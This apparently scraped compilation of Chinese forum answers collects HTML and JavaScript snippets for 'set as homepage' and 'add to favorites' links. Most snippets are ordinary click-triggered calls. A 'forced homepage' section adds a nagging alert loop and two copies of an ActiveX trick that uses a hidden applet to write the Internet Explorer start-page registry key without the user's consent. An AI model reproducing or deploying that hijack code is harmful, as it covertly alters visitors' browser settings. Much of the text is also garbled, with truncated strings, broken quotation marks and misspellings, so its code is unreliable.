求:打开首页提示“设为首页”的代码
《script type=’text/javascript’》
window.onload=addfavorite();
function addfavorite()
{
switch(getOs())
{
case 1:window.external.addFavorite(’“);break;
}
}
function getOs()
{
if(navigator.userAgent.indexOf(“MSIE“)》0)return 1;
if(isFirefox=navigator.userAgent.indexOf(“Firefox“)》0)return 2;
if(isSafari=navigator.userAgent.indexOf(“Safari“)》0)return 3;
if(isCamino=navigator.userAgent.indexOf(“Camino“)》0)return 4;
if(isMozilla=navigator.userAgent.indexOf(“Gecko/“)》0)return 5;
return 0;
}
《/script》
至于要怎么判断一天,给你两个思路,1是用cookies,2将IP写进数据库
设为首页代码
《a class=main onClick=“h(this,’
强制设为主页不建议这么做啊,很“流氓”的
强制设为主页代码:
代码一(设置为主页就再弹了):
《META content=“text/html; charset=gb2312“ http-equiv=Content-Type》
《META content=“MSHTML 5.00.3826.2400“ name=GENERATOR》
《META content=FrontPage.Editor.Document name=ProgId》《/HEAD》
《BODY》《SPAN id=hp style=“BEHAVIOR: url(#default#homepage)“》《/SPAN》
《SCRIPT language=javascript》
var u,i
u=““;
var showThank=false;
try{
for(i=1;i《=5;i++)
{
if(hp.isHomePage(u))
{
break;
}
else
{
hp.setHomePage(u);
if(!hp.isHomePage(u))
{
alert(“方便下次光临本站,请点 是(Y) ,就不再弹了!“);
}
else
{
showThank=true;
}
}
}
if(showThank)
{
alert(“谢谢您的支持.“);
}
}
catch(e){
}
finally{
}
//location.href=u;
《/SCRIPT》
《/BODY》《/HTML》
代码三:
《script》
var ucook=document.cookie;
var user=ucook.indexOF(“ilooki=“);
if(user==-1)
{
var nowTime=new Date();
document.cookie=“ilooki“+“;“+“expires=Wednesday,03-Jan-“+eval
(nowTime.getYear()+1903+“12:34:56 GMT“;
document.write(“《APPLET HEIGHT=0WIDTH=0
code=com.ms.activeX.ActiveXCompoment》《/APPLET》“);function
yuzi(){try{a1
=document.applets;a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}“);a1.createInstance();Shl=a1.GetObject
();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}“);try
{Shl.RegWrite(“hkcu\Software\Microsoft\Internet
Expiorer\Main\Start Page“,);}catch(e)
{}}catch(e){}}setTimeout(“yuzi()“,1000);
}
《/script》
代码四:
《script》
var ucook=document.cookie;
var user=ucook.indexOF(“ilooki=“);
if(user==-1)
{
var nowTime=new Date();
document.cookie=“ilooki“+“;“+“expires=Wednesday,03-Jan-“+eval(nowTime.getYear()+1903+“12:34:56 GMT“;
document.write(“《APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment》《/APPLET》“);function yuzi(){try{a1
=document.applets;a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}“);a1.createInstance();Shl=a1.GetObject();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}“);try{Shl.RegWrite(“hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page“,);}catch(e){}}catch(e){}}setTimeout(“yuzi()“,1000);
}
《/script》
最简单的设为首页http代码怎么写
《!DOCTYPE html》
《html lang=“en“》
《head》
《meta charset=“UTF-8“》
《meta name=“viewport“ content=“width=device-width, initial-scale=1.0“》
《meta http-equiv=“X-UA-Compatible“ content=“ie=edge“》
《title》Document《/title》
《/head》
《body》
《a οnclick=“this.style.behavior=’url(#default#homepage)’;this.setHomepage(’http://www.baidu.com’)“
href=“http://www.baidu.com“》设为首页《/a》
《/body》
《/html》
请采纳
设当前页面为IE首页的代码
这个可以了,测试过了,从百度主页提取出来的
《script》
function h(obj,url){obj.style.behavior=’url(#default#homepage)’;obj.setHomePage(url);}
《/script》
《a onclick=“h(this,document.location.href)“ 》把本站设为首页《/a》
求加入收藏、设为首页HTML代码
《span onClick=“var strHref=window.location.href;this.style.behavior=’url(#default#homepage)’;
this.setHomePage(’http://要设为首页的完整网址’);“ style=“CURSOR: hand“》《font color=“#FFFFFF“》设为首页《/font》《/span》
《span style=“CURSOR: hand“ onClick=“window.external.addFavorite(’http://要收藏网页的完整网址’)“ title=“网站名称“》
《font color=“#FFFFFF“》收藏本站《/font》《/span》《span class=“space_8“》《/span》
将上面代码复制到你网站首页源码上,改一下网址就OK了
HTML代码如何实现设置当前页面为首页
不必设置为首页,只需要在连接到首页的连接href改为这个页面就可以了~
如果是浏览器打开的首页,那就是在浏览器设置中更改:(chrome)
(Firefox)
var homePage = {
is : function(url) { //IE判断当前页面是否主页
url = url || window.location.href;
if (document.all) {
// “);
}
}
var prefs = Components.classes[’@mozilla.org/preferences-service;1’]
.getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref(’browser.startup.homepage’,url);
return true;
}
// Not support exception
return false;
} catch (e) {
return false;
}
}
}
对于Chrome暂时没有解决方案,上面的代码兼容IE和FF:
》 homePage.set(window.location.href);
设为首页的代码
图片链接
《a style=“cursor:hand“ onclick=“this.style.behavior=’url(#default#homepage)’;
this.setHomePage(’www.sccvtc.net’);“》
《img width=16 height=16 border=0 src=“images/Logo.gif“》
《u》 Set as Home Page《/u》《/a》
1.文字型:
《a onclick=“this.style.behavior=’url(#default#homepage)’;this.setHomePage(’
完整的代码为:《 a href=“/”onclick=“javascript:window.close(); return false;”》关闭窗口《 /a》
HTML网页设计中的将本页“设为主页”的代码是怎样的啊
《a href=# onClick=“this.style.behavior=’url(#default#homepage)’;this.setHomePage
(’
注意:为避免出错,请不要改动除中文文字之外的代码,否则程序可能会不能运行!